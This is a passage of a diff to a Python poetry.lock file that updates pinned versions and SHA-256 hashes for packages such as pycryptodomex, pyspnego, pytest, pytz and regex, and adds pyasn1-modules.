"sha256:e2378146f1964972c03c085bb5662ae80b2b8c06226c54b2ff4aa9483e8a13a5"}, + {file = "platformdirs-3.5.1.tar.gz", hash = "sha256:412dae91f52a6f84830f39a8078cecd0e866cb72294a5c66808e74d5e88d251f"}, ] [package.dependencies] typing-extensions = {version = ">=4.5", markers = "python_version < \"3.8\""} [package.extras] -docs = ["furo (>=2022.12.7)", "proselint (>=0.13)", "sphinx (>=6.1.3)", "sphinx-autodoc-typehints (>=1.22,!=1.23.4)"] -test = ["appdirs (==1.4.4)", "covdefaults (>=2.3)", "pytest (>=7.2.2)", "pytest-cov (>=4)", "pytest-mock (>=3.10)"] +docs = ["furo (>=2023.3.27)", "proselint (>=0.13)", "sphinx (>=6.2.1)", "sphinx-autodoc-typehints (>=1.23,!=1.23.4)"] +test = ["appdirs (==1.4.4)", "covdefaults (>=2.3)", "pytest (>=7.3.1)", "pytest-cov (>=4)", "pytest-mock (>=3.10)"] [[package]] name = "pluggy" @@ -1678,6 +1644,21 @@ files = [ {file = "pyasn1-0.4.8.tar.gz", hash = "sha256:aef77c9fb94a3ac588e87841208bdec464471d9871bd5050a287cc9a475cd0ba"}, ] +[[package]] +name = "pyasn1-modules" +version = "0.3.0" +description = "A collection of ASN.1-based protocols modules" +category = "main" +optional = false +python-versions = "!=3.0.*,!=3.1.*,!=3.2.*,!=3.3.*,!=3.4.*,!=3.5.*,>=2.7" +files = [ + {file = "pyasn1_modules-0.3.0-py2.py3-none-any.whl", hash = "sha256:d3ccd6ed470d9ffbc716be08bd90efbd44d0734bc9303818f7336070984a162d"}, + {file = "pyasn1_modules-0.3.0.tar.gz", hash = "sha256:5bd01446b736eb9d31512a30d46c1ac3395d676c6f3cafa4c03eb54b9925631c"}, +] + +[package.dependencies] +pyasn1 = ">=0.4.6,<0.6.0" + [[package]] name = "pycodestyle" version = "2.9.1" @@ -1704,45 +1685,44 @@ files = [ [[package]] name = "pycryptodomex" -version = "3.17" +version = "3.18.0" description = "Cryptographic library for Python" category = "main" optional = false python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*" files = [ - {file = "pycryptodomex-3.17-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:12056c38e49d972f9c553a3d598425f8a1c1d35b2e4330f89d5ff1ffb70de041"}, - {file = "pycryptodomex-3.17-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:ab33c2d9f275e05e235dbca1063753b5346af4a5cac34a51fa0da0d4edfb21d7"}, - {file = "pycryptodomex-3.17-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:caa937ff29d07a665dfcfd7a84f0d4207b2ebf483362fa9054041d67fdfacc20"}, - {file = "pycryptodomex-3.17-cp27-cp27m-manylinux2014_aarch64.whl", hash = "sha256:db23d7341e21b273d2440ec6faf6c8b1ca95c8894da612e165be0b89a8688340"}, - {file = "pycryptodomex-3.17-cp27-cp27m-musllinux_1_1_aarch64.whl", hash = "sha256:f854c8476512cebe6a8681cc4789e4fcff6019c17baa0fd72b459155dc605ab4"}, - {file = "pycryptodomex-3.17-cp27-cp27m-win32.whl", hash = "sha256:a57e3257bacd719769110f1f70dd901c5b6955e9596ad403af11a3e6e7e3311c"}, - {file = "pycryptodomex-3.17-cp27-cp27m-win_amd64.whl", hash = "sha256:d38ab9e53b1c09608ba2d9b8b888f1e75d6f66e2787e437adb1fecbffec6b112"}, - {file = "pycryptodomex-3.17-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:3c2516b42437ae6c7a29ef3ddc73c8d4714e7b6df995b76be4695bbe4b3b5cd2"}, - {file = "pycryptodomex-3.17-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:5c23482860302d0d9883404eaaa54b0615eefa5274f70529703e2c43cc571827"}, - {file = "pycryptodomex-3.17-cp27-cp27mu-manylinux2014_aarch64.whl", hash = "sha256:7a8dc3ee7a99aae202a4db52de5a08aa4d01831eb403c4d21da04ec2f79810db"}, - {file = "pycryptodomex-3.17-cp27-cp27mu-musllinux_1_1_aarch64.whl", hash = "sha256:7cc28dd33f1f3662d6da28ead4f9891035f63f49d30267d3b41194c8778997c8"}, - {file = "pycryptodomex-3.17-cp35-abi3-macosx_10_9_universal2.whl", hash = "sha256:2d4d395f109faba34067a08de36304e846c791808524614c731431ee048fe70a"}, - {file = "pycryptodomex-3.17-cp35-abi3-macosx_10_9_x86_64.whl", hash = "sha256:55eed98b4150a744920597c81b3965b632038781bab8a08a12ea1d004213c600"}, - {file = "pycryptodomex-3.17-cp35-abi3-manylinux2014_aarch64.whl", hash = "sha256:7fa0b52df90343fafe319257b31d909be1d2e8852277fb0376ba89d26d2921db"}, - {file = "pycryptodomex-3.17-cp35-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:78f0ddd4adc64baa39b416f3637aaf99f45acb0bcdc16706f0cc7ebfc6f10109"}, - {file = "pycryptodomex-3.17-cp35-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a4fa037078e92c7cc49f6789a8bac3de06856740bb2038d05f2d9a2e4b165d59"}, - {file = "pycryptodomex-3.17-cp35-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:88b0d5bb87eaf2a31e8a759302b89cf30c97f2f8ca7d83b8c9208abe8acb447a"}, - {file = "pycryptodomex-3.17-cp35-abi3-musllinux_1_1_i686.whl", hash = "sha256:6feedf4b0e36b395329b4186a805f60f900129cdf0170e120ecabbfcb763995d"}, - {file = "pycryptodomex-3.17-cp35-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:7a6651a07f67c28b6e978d63aa3a3fccea0feefed9a8453af3f7421a758461b7"}, - {file = "pycryptodomex-3.17-cp35-abi3-win32.whl", hash = "sha256:32e764322e902bbfac49ca1446604d2839381bbbdd5a57920c9daaf2e0b778df"}, - {file = "pycryptodomex-3.17-cp35-abi3-win_amd64.whl", hash = "sha256:4b51e826f0a04d832eda0790bbd0665d9bfe73e5a4d8ea93b6a9b38beeebe935"}, - {file = "pycryptodomex-3.17-pp27-pypy_73-macosx_10_9_x86_64.whl", hash = "sha256:d4cf0128da167562c49b0e034f09e9cedd733997354f2314837c2fa461c87bb1"}, - {file = "pycryptodomex-3.17-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:c92537b596bd5bffb82f8964cabb9fef1bca8a28a9e0a69ffd3ec92a4a7ad41b"}, - {file = "pycryptodomex-3.17-pp27-pypy_73-win32.whl", hash = "sha256:599bb4ae4bbd614ca05f49bd4e672b7a250b80b13ae1238f05fd0f09d87ed80a"}, - {file = "pycryptodomex-3.17-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:4c4674f4b040321055c596aac926d12f7f6859dfe98cd12f4d9453b43ab6adc8"}, - {file = "pycryptodomex-3.17-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:67a3648025e4ddb72d43addab764336ba2e670c8377dba5dd752e42285440d31"}, - {file = "pycryptodomex-3.17-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:40e8a11f578bd0851b02719c862d55d3ee18d906c8b68a9c09f8c564d6bb5b92"}, - {file = "pycryptodomex-3.17-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:23d83b610bd97704f0cd3acc48d99b76a15c8c1540d8665c94d514a49905bad7"}, - {file = "pycryptodomex-3.17-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:fd29d35ac80755e5c0a99d96b44fb9abbd7e871849581ea6a4cb826d24267537"}, - {file = "pycryptodomex-3.17-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:64b876d57cb894b31056ad8dd6a6ae1099b117ae07a3d39707221133490e5715"}, - {file = "pycryptodomex-3.17-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ee8bf4fdcad7d66beb744957db8717afc12d176e3fd9c5d106835133881a049b"}, - {file = "pycryptodomex-3.17-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:c84689c73358dfc23f9fdcff2cb9e7856e65e2ce3b5ed8ff630d4c9bdeb1867b"}, - {file = "pycryptodomex-3.17.tar.gz", hash = "sha256:0af93aad8d62e810247beedef0261c148790c52f3cd33643791cc6396dd217c1"}, + {file = "pycryptodomex-3.18.0-cp27-cp27m-macosx_10_9_x86_64.whl", hash = "sha256:160a39a708c36fa0b168ab79386dede588e62aec06eb505add870739329aecc6"}, + {file = "pycryptodomex-3.18.0-cp27-cp27m-manylinux2010_i686.whl", hash = "sha256:c2953afebf282a444c51bf4effe751706b4d0d63d7ca2cc51db21f902aa5b84e"}, + {file = "pycryptodomex-3.18.0-cp27-cp27m-manylinux2010_x86_64.whl", hash = "sha256:ba95abd563b0d1b88401658665a260852a8e6c647026ee6a0a65589287681df8"}, + {file = "pycryptodomex-3.18.0-cp27-cp27m-manylinux2014_aarch64.whl", hash = "sha256:192306cf881fe3467dda0e174a4f47bb3a8bb24b90c9cdfbdc248eec5fc0578c"}, + {file = "pycryptodomex-3.18.0-cp27-cp27m-musllinux_1_1_aarch64.whl", hash = "sha256:f9ab5ef0718f6a8716695dea16d83b671b22c45e9c0c78fd807c32c0192e54b5"}, + {file = "pycryptodomex-3.18.0-cp27-cp27m-win32.whl", hash = "sha256:50308fcdbf8345e5ec224a5502b4215178bdb5e95456ead8ab1a69ffd94779cb"}, + {file = "pycryptodomex-3.18.0-cp27-cp27m-win_amd64.whl", hash = "sha256:4d9379c684efea80fdab02a3eb0169372bca7db13f9332cb67483b8dc8b67c37"}, + {file = "pycryptodomex-3.18.0-cp27-cp27mu-manylinux2010_i686.whl", hash = "sha256:5594a125dae30d60e94f37797fc67ce3c744522de7992c7c360d02fdb34918f8"}, + {file = "pycryptodomex-3.18.0-cp27-cp27mu-manylinux2010_x86_64.whl", hash = "sha256:8ff129a5a0eb5ff16e45ca4fa70a6051da7f3de303c33b259063c19be0c43d35"}, + {file = "pycryptodomex-3.18.0-cp27-cp27mu-manylinux2014_aarch64.whl", hash = "sha256:3d9314ac785a5b75d5aaf924c5f21d6ca7e8df442e5cf4f0fefad4f6e284d422"}, + {file = "pycryptodomex-3.18.0-cp27-cp27mu-musllinux_1_1_aarch64.whl", hash = "sha256:f237278836dda412a325e9340ba2e6a84cb0f56b9244781e5b61f10b3905de88"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-macosx_10_9_universal2.whl", hash = "sha256:ac614363a86cc53d8ba44b6c469831d1555947e69ab3276ae8d6edc219f570f7"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-macosx_10_9_x86_64.whl", hash = "sha256:302a8f37c224e7b5d72017d462a2be058e28f7be627bdd854066e16722d0fc0c"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-manylinux2014_aarch64.whl", hash = "sha256:6421d23d6a648e83ba2670a352bcd978542dad86829209f59d17a3f087f4afef"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d84e105787f5e5d36ec6a581ff37a1048d12e638688074b2a00bcf402f9aa1c2"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6875eb8666f68ddbd39097867325bd22771f595b4e2b0149739b5623c8bf899b"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:27072a494ce621cc7a9096bbf60ed66826bb94db24b49b7359509e7951033e74"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-musllinux_1_1_i686.whl", hash = "sha256:1949e09ea49b09c36d11a951b16ff2a05a0ffe969dda1846e4686ee342fe8646"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:6ed3606832987018615f68e8ed716a7065c09a0fe94afd7c9ca1b6777f0ac6eb"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-win32.whl", hash = "sha256:d56c9ec41258fd3734db9f5e4d2faeabe48644ba9ca23b18e1839b3bdf093222"}, + {file = "pycryptodomex-3.18.0-cp35-abi3-win_amd64.whl", hash = "sha256:e00a4bacb83a2627e8210cb353a2e31f04befc1155db2976e5e239dd66482278"}, + {file = "pycryptodomex-3.18.0-pp27-pypy_73-manylinux2010_x86_64.whl", hash = "sha256:2dc4eab20f4f04a2d00220fdc9258717b82d31913552e766d5f00282c031b70a"}, + {file = "pycryptodomex-3.18.0-pp27-pypy_73-win32.whl", hash = "sha256:75672205148bdea34669173366df005dbd52be05115e919551ee97171083423d"}, + {file = "pycryptodomex-3.18.0-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:bec6c80994d4e7a38312072f89458903b65ec99bed2d65aa4de96d997a53ea7a"}, + {file = "pycryptodomex-3.18.0-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d35a8ffdc8b05e4b353ba281217c8437f02c57d7233363824e9d794cf753c419"}, + {file = "pycryptodomex-3.18.0-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:76f0a46bee539dae4b3dfe37216f678769349576b0080fdbe431d19a02da42ff"}, + {file = "pycryptodomex-3.18.0-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:71687eed47df7e965f6e0bf3cadef98f368d5221f0fb89d2132effe1a3e6a194"}, + {file = "pycryptodomex-3.18.0-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:73d64b32d84cf48d9ec62106aa277dbe99ab5fbfd38c5100bc7bddd3beb569f7"}, + {file = "pycryptodomex-3.18.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bbdcce0a226d9205560a5936b05208c709b01d493ed8307792075dedfaaffa5f"}, + {file = "pycryptodomex-3.18.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:58fc0aceb9c961b9897facec9da24c6a94c5db04597ec832060f53d4d6a07196"}, + {file = "pycryptodomex-3.18.0-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:215be2980a6b70704c10796dd7003eb4390e7be138ac6fb8344bf47e71a8d470"}, + {file = "pycryptodomex-3.18.0.tar.gz", hash = "sha256:3e3ecb5fe979e7c1bb0027e518340acf7ee60415d79295e5251d13c68dde576e"}, ] [[package]] @@ -1759,14 +1739,14 @@ files = [ [[package]] name = "pygments" -version = "2.14.0" +version = "2.15.1" description = "Pygments is a syntax highlighting package written in Python." category = "main" optional = false -python-versions = ">=3.6" +python-versions = ">=3.7" files = [ - {file = "Pygments-2.14.0-py3-none-any.whl", hash = "sha256:fa7bd7bd2771287c0de303af8bfdfc731f51bd2c6a47ab69d117138893b82717"}, - {file = "Pygments-2.14.0.tar.gz", hash = "sha256:b3ed06a9e8ac9a9aae5a6f5dbe78a8a58655d17b43b93c078f094ddc476ae297"}, + {file = "Pygments-2.15.1-py3-none-any.whl", hash = "sha256:db2db3deb4b4179f399a09054b023b6a586b76499d36965813c71aa8ed7b5fd1"}, + {file = "Pygments-2.15.1.tar.gz", hash = "sha256:8ace4d3c1dd481894b2005f560ead0f9f19ee64fe983366be1a21e171d12775c"}, ] [package.extras] @@ -1838,14 +1818,14 @@ tests = ["hypothesis (>=3.27.0)", "pytest (>=3.2.1,!=3.3.0)"] [[package]] name = "pyopenssl" -version = "23.1.0" +version = "23.1.1" description = "Python wrapper module around the OpenSSL library" category = "main" optional = false python-versions = ">=3.6" files = [ - {file = "pyOpenSSL-23.1.0-py3-none-any.whl", hash = "sha256:fb96e936866ad65662c22d0de84ca0fba58397893cdfe0f01334fa93382af23c"}, - {file = "pyOpenSSL-23.1.0.tar.gz", hash = "sha256:8cb78010a1eb2c8e24b851693b7b04dfe9b1dc0a5ab3843927b10a85b1dfbb2e"}, + {file = "pyOpenSSL-23.1.1-py3-none-any.whl", hash = "sha256:9e0c526404a210df9d2b18cd33364beadb0dc858a739b885677bc65e105d4a4c"}, + {file = "pyOpenSSL-23.1.1.tar.gz", hash = "sha256:841498b9bec61623b1b6c47ebbc02367c07d60e0e195f19790817f10cc8db0b7"}, ] [package.dependencies] @@ -1927,24 +1907,24 @@ winacl = ">=0.1.6" [[package]] name = "pyspnego" -version = "0.8.0" +version = "0.9.0" description = "Windows Negotiate Authentication Client and Server" category = "main" optional = false python-versions = ">=3.7" files = [ - {file = "pyspnego-0.8.0-cp310-cp310-win32.whl", hash = "sha256:9dbbd3aec5240aa8b75a5baa0b8a78d3b4ec16638c5fe299cd849b2390cfd2ec"}, - {file = "pyspnego-0.8.0-cp310-cp310-win_amd64.whl", hash = "sha256:2df21796b15e73b99a4b4bbe91e4ecd3fdaa888b7255c4ab697ccb6615dbd6e3"}, - {file = "pyspnego-0.8.0-cp311-cp311-win32.whl", hash = "sha256:e15d7ecf70cb70f09ec80a7efd57086886380dcfbe0c31b1808f3349484f0b96"}, - {file = "pyspnego-0.8.0-cp311-cp311-win_amd64.whl", hash = "sha256:ff546dc4a56c92aae253c04c8999baf4357919a523665c8daa65788567a52fe3"}, - {file = "pyspnego-0.8.0-cp37-cp37m-win32.whl", hash = "sha256:c3cb9d9da79f1d38e8a268988c5af7520f25dc8f6c7bc97444260f8ce3d1efe9"}, - {file = "pyspnego-0.8.0-cp37-cp37m-win_amd64.whl", hash = "sha256:1f76a924866040cece4600e1973bfdb20656f9a3ceb2935ed6be1f932c990b19"}, - {file = "pyspnego-0.8.0-cp38-cp38-win32.whl", hash = "sha256:cf8bd2bd2cadc825e7fc7ff86a57eb158d898d30c0f7670940178c48ebe78e31"}, - {file = "pyspnego-0.8.0-cp38-cp38-win_amd64.whl", hash = "sha256:92501106898b4fa60f454dc9445b8006c133e177c859d49b3c7f260985449cad"}, - {file = "pyspnego-0.8.0-cp39-cp39-win32.whl", hash = "sha256:3e49fddd34c19d6bd1d534501769de5e2b0716ce9b6f26d50f2f0600158780c9"}, - {file = "pyspnego-0.8.0-cp39-cp39-win_amd64.whl", hash = "sha256:e2faff077fe942ed7169bd6c84c9396f259f50069237d93de12a5bd5e11bb445"}, - {file = "pyspnego-0.8.0-py3-none-any.whl", hash = "sha256:55b9bc76efb2ef335640f1bfe6922651c31d21a4c989b0def889eaa2f4865711"}, - {file = "pyspnego-0.8.0.tar.gz", hash = "sha256:e0499cc066c56762f8a315bb053243d34240cb85e384afc6b87b4fa0142543df"}, + {file = "pyspnego-0.9.0-cp310-cp310-win32.whl", hash = "sha256:f529b30a0ccfb0219b5b5b996c8a90cf5df0da6bcf19da33262573f9cca4d487"}, + {file = "pyspnego-0.9.0-cp310-cp310-win_amd64.whl", hash = "sha256:f656b22298a3582d210f8dfdd6541b0fb277b0020f9b649b329dea3688ff60da"}, + {file = "pyspnego-0.9.0-cp311-cp311-win32.whl", hash = "sha256:2f2e51c7230f95febe9ff4e00eaa7c24ce64b197ae6c53dc85c7df88aa416d93"}, + {file = "pyspnego-0.9.0-cp311-cp311-win_amd64.whl", hash = "sha256:8d17f5157c572aa0fc5899211f8092917d1bee2ef84046684d939aa481a958f0"}, + {file = "pyspnego-0.9.0-cp37-cp37m-win32.whl", hash = "sha256:c4111a7584aea4e30b1cd2e0c0b1f8355ed4fb413cce21e2cecef8bfdf0eabcf"}, + {file = "pyspnego-0.9.0-cp37-cp37m-win_amd64.whl", hash = "sha256:44f39ec4c93c8cc51516a6b16365160e9dff622310afef9ee8456626bafda26b"}, + {file = "pyspnego-0.9.0-cp38-cp38-win32.whl", hash = "sha256:9b9e5a645dcd4645537c7dd38e69124fa524eba501b65fb1ab2825e80038a5dc"}, + {file = "pyspnego-0.9.0-cp38-cp38-win_amd64.whl", hash = "sha256:d498ff81da792ace2eea7f55a103a49a363882b820723f99dc5ccf03ea7f3b3e"}, + {file = "pyspnego-0.9.0-cp39-cp39-win32.whl", hash = "sha256:187aa308fb40be4292753e86f9ee3df1c48500accdb50bcfecb7246b618cd7d8"}, + {file = "pyspnego-0.9.0-cp39-cp39-win_amd64.whl", hash = "sha256:77b965afaed4214b63dddabefdef762f3f9c9796349408d200c64a5921de809b"}, + {file = "pyspnego-0.9.0-py3-none-any.whl", hash = "sha256:18da3710c383167e54ae2b01f640f269de2cdc0992a8f72928e349441361c21d"}, + {file = "pyspnego-0.9.0.tar.gz", hash = "sha256:3f10ca7a2f0d5170c2032bb5d55183384208314032aa44c1684d6920d50e97de"}, ] [package.dependencies] @@ -1956,18 +1936,17 @@ yaml = ["ruamel.yaml"] [[package]] name = "pytest" -version = "7.2.2" +version = "7.3.1" description = "pytest: simple powerful testing with Python" category = "main" optional = false python-versions = ">=3.7" files = [ - {file = "pytest-7.2.2-py3-none-any.whl", hash = "sha256:130328f552dcfac0b1cec75c12e3f005619dc5f874f0a06e8ff7263f0ee6225e"}, - {file = "pytest-7.2.2.tar.gz", hash = "sha256:c99ab0c73aceb050f68929bc93af19ab6db0558791c6a0715723abe9d0ade9d4"}, + {file = "pytest-7.3.1-py3-none-any.whl", hash = "sha256:3799fa815351fea3a5e96ac7e503a96fa51cc9942c3753cda7651b93c1cfa362"}, + {file = "pytest-7.3.1.tar.gz", hash = "sha256:434afafd78b1d78ed0addf160ad2b77a30d35d4bdf8af234fe621919d9ed15e3"}, ] [package.dependencies] -attrs = ">=19.2.0" colorama = {version = "*", markers = "sys_platform == \"win32\""} exceptiongroup = {version = ">=1.0.0rc8", markers = "python_version < \"3.11\""} importlib-metadata = {version = ">=0.12", markers = "python_version < \"3.8\""} @@ -1977,18 +1956,18 @@ pluggy = ">=0.12,<2.0" tomli = {version = ">=1.0.0", markers = "python_version < \"3.11\""} [package.extras] -testing = ["argcomplete", "hypothesis (>=3.56)", "mock", "nose", "pygments (>=2.7.2)", "requests", "xmlschema"] +testing = ["argcomplete", "attrs (>=19.2.0)", "hypothesis (>=3.56)", "mock", "nose", "pygments (>=2.7.2)", "requests", "xmlschema"] [[package]] name = "pytz" -version = "2023.2" +version = "2023.3" description = "World timezone definitions, modern and historical" category = "main" optional = false python-versions = "*" files = [ - {file = "pytz-2023.2-py2.py3-none-any.whl", hash = "sha256:8a8baaf1e237175b02f5c751eea67168043a749c843989e2b3015aa1ad9db68b"}, - {file = "pytz-2023.2.tar.gz", hash = "sha256:a27dcf612c05d2ebde626f7d506555f10dfc815b3eddccfaadfc7d99b11c9a07"}, + {file = "pytz-2023.3-py2.py3-none-any.whl", hash = "sha256:a151b3abb88eda1d4e34a9814df37de2a80e301e68ba0fd856fb9b46bfbbbffb"}, + {file = "pytz-2023.3.tar.gz", hash = "sha256:1d8ce29db189191fb55338ee6d0387d82ab59f3d00eac103412d64e0ebd0c588"}, ] [[package]] @@ -2010,119 +1989,119 @@ lxml = "*" [[package]] name = "regex" -version = "2022.10.31" +version = "2023.5.5" description = "Alternative regular expression module, to replace re." category = "dev" optional = false python-versions = ">=3.6" files = [ - {file = "regex-2022.10.31-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:a8ff454ef0bb061e37df03557afda9d785c905dab15584860f982e88be73015f"}, - {file = "regex-2022.10.31-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:1eba476b1b242620c266edf6325b443a2e22b633217a9835a52d8da2b5c051f9"}, - {file = "regex-2022.10.31-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d0e5af9a9effb88535a472e19169e09ce750c3d442fb222254a276d77808620b"}, - {file = "regex-2022.10.31-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:d03fe67b2325cb3f09be029fd5da8df9e6974f0cde2c2ac6a79d2634e791dd57"}, - {file = "regex-2022.10.31-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a9d0b68ac1743964755ae2d89772c7e6fb0118acd4d0b7464eaf3921c6b49dd4"}, - {file = "regex-2022.10.31-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8a45b6514861916c429e6059a55cf7db74670eaed2052a648e3e4d04f070e001"}, - {file = "regex-2022.10.31-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8b0886885f7323beea6f552c28bff62cbe0983b9fbb94126531693ea6c5ebb90"}, - {file = "regex-2022.10.31-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl", hash = "sha256:5aefb84a301327ad115e9d346c8e2760009131d9d4b4c6b213648d02e2abe144"}, - {file = "regex-2022.10.31-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:702d8fc6f25bbf412ee706bd73019da5e44a8400861dfff7ff31eb5b4a1276dc"}, - {file = "regex-2022.10.31-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:a3c1ebd4ed8e76e886507c9eddb1a891673686c813adf889b864a17fafcf6d66"}, - {file = "regex-2022.10.31-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:50921c140561d3db2ab9f5b11c5184846cde686bb5a9dc64cae442926e86f3af"}, - {file = "regex-2022.10.31-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:7db345956ecce0c99b97b042b4ca7326feeec6b75facd8390af73b18e2650ffc"}, - {file = "regex-2022.10.31-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:763b64853b0a8f4f9cfb41a76a4a85a9bcda7fdda5cb057016e7706fde928e66"}, - {file = "regex-2022.10.31-cp310-cp310-win32.whl", hash = "sha256:44136355e2f5e06bf6b23d337a75386371ba742ffa771440b85bed367c1318d1"}, - {file = "regex-2022.10.31-cp310-cp310-win_amd64.whl", hash = "sha256:bfff48c7bd23c6e2aec6454aaf6edc44444b229e94743b34bdcdda2e35126cf5"}, - {file = "regex-2022.10.31-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:4b4b1fe58cd102d75ef0552cf17242705ce0759f9695334a56644ad2d83903fe"}, - {file = "regex-2022.10.31-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:542e3e306d1669b25936b64917285cdffcd4f5c6f0247636fec037187bd93542"}, - {file = "regex-2022.10.31-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c27cc1e4b197092e50ddbf0118c788d9977f3f8f35bfbbd3e76c1846a3443df7"}, - {file = "regex-2022.10.31-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b8e38472739028e5f2c3a4aded0ab7eadc447f0d84f310c7a8bb697ec417229e"}, - {file = "regex-2022.10.31-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:76c598ca73ec73a2f568e2a72ba46c3b6c8690ad9a07092b18e48ceb936e9f0c"}, - {file = "regex-2022.10.31-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c28d3309ebd6d6b2cf82969b5179bed5fefe6142c70f354ece94324fa11bf6a1"}, - {file = "regex-2022.10.31-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:9af69f6746120998cd9c355e9c3c6aec7dff70d47247188feb4f829502be8ab4"}, - {file = "regex-2022.10.31-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:a5f9505efd574d1e5b4a76ac9dd92a12acb2b309551e9aa874c13c11caefbe4f"}, - {file = "regex-2022.10.31-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:5ff525698de226c0ca743bfa71fc6b378cda2ddcf0d22d7c37b1cc925c9650a5"}, - {file = "regex-2022.10.31-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:4fe7fda2fe7c8890d454f2cbc91d6c01baf206fbc96d89a80241a02985118c0c"}, - {file = "regex-2022.10.31-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:2cdc55ca07b4e70dda898d2ab7150ecf17c990076d3acd7a5f3b25cb23a69f1c"}, - {file = "regex-2022.10.31-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:44a6c2f6374e0033873e9ed577a54a3602b4f609867794c1a3ebba65e4c93ee7"}, - {file = "regex-2022.10.31-cp311-cp311-win32.whl", hash = "sha256:d8716f82502997b3d0895d1c64c3b834181b1eaca28f3f6336a71777e437c2af"}, - {file = "regex-2022.10.31-cp311-cp311-win_amd64.whl", hash = "sha256:61edbca89aa3f5ef7ecac8c23d975fe7261c12665f1d90a6b1af527bba86ce61"}, - {file = "regex-2022.10.31-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:0a069c8483466806ab94ea9068c34b200b8bfc66b6762f45a831c4baaa9e8cdd"}, - {file = "regex-2022.10.31-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d26166acf62f731f50bdd885b04b38828436d74e8e362bfcb8df221d868b5d9b"}, - {file = "regex-2022.10.31-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ac741bf78b9bb432e2d314439275235f41656e189856b11fb4e774d9f7246d81"}, - {file = "regex-2022.10.31-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:75f591b2055523fc02a4bbe598aa867df9e953255f0b7f7715d2a36a9c30065c"}, - {file = 